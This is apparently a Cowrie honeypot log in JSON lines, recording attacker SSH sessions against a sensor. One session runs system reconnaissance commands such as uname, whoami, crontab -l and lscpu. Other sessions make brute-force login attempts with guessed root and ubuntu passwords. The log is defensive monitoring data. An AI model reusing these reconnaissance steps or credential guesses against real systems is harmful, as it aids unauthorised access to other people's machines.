{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:59.100443Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:59.387082Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:59.574486Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:59.577505Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:59.580255Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:59.871222Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:00.095313Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:00.098981Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:00.390269Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:00.596232Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:00.599549Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":197,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:00.890188Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:01.089778Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:01.092607Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:01.379952Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:01.591541Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:01.594582Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:01.882024Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:02.098867Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:02.101836Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:02.389486Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:02.595704Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:02.601437Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:02.890211Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:03.097424Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:03.102058Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:03.388865Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:03.581145Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:03.583763Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:03.870266Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:04.067314Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:04.071167Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:04.359055Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:04.549118Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:04.552541Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":66,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:04.700860Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.6","message":"Connection lost after 13.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:04.705231Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":51432,"dst_ip":"159.203.135.109","dst_port":22,"session":"c610380c7b2a","protocol":"ssh","message":"New connection: 51.250.105.222:51432 (159.203.135.109:22) [session: c610380c7b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:17.350169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:17.355547Z","src_ip":"51.250.105.222","session":"c610380c7b2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:17.477210Z","src_ip":"51.250.105.222","session":"c610380c7b2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:17.845237Z","src_ip":"51.250.105.222","session":"c610380c7b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:18.969258Z","src_ip":"51.250.105.222","session":"c610380c7b2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":39462,"dst_ip":"159.203.135.109","dst_port":22,"session":"db7b91bfee7e","protocol":"ssh","message":"New connection: 152.32.171.213:39462 (159.203.135.109:22) [session: db7b91bfee7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:23.630724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:23.651409Z","src_ip":"152.32.171.213","session":"db7b91bfee7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:23.874412Z","src_ip":"152.32.171.213","session":"db7b91bfee7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password123@","message":"login attempt [ubuntu/Password123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:24.801135Z","src_ip":"152.32.171.213","session":"db7b91bfee7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:26.027029Z","src_ip":"152.32.171.213","session":"db7b91bfee7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":46956,"dst_ip":"10.17.0.5","dst_port":23,"session":"682e8f11fb00","protocol":"telnet","message":"New connection: 94.23.66.112:46956 (10.17.0.5:23) [session: 682e8f11fb00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:28:28.261607Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":33320,"dst_ip":"159.203.135.109","dst_port":22,"session":"edbdbdfcd9bb","protocol":"ssh","message":"New connection: 103.149.28.157:33320 (159.203.135.109:22) [session: edbdbdfcd9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:17.146297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:17.150590Z","src_ip":"103.149.28.157","session":"edbdbdfcd9bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:17.412356Z","src_ip":"103.149.28.157","session":"edbdbdfcd9bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"241284","message":"login attempt [root/241284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:18.203330Z","src_ip":"103.149.28.157","session":"edbdbdfcd9bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:19.471493Z","src_ip":"103.149.28.157","session":"edbdbdfcd9bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":48680,"dst_ip":"159.203.135.109","dst_port":22,"session":"42160c051519","protocol":"ssh","message":"New connection: 103.27.238.120:48680 (159.203.135.109:22) [session: 42160c051519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:32.526183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:32.529661Z","src_ip":"103.27.238.120","session":"42160c051519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:32.799313Z","src_ip":"103.27.238.120","session":"42160c051519","protocol":"ssh"}
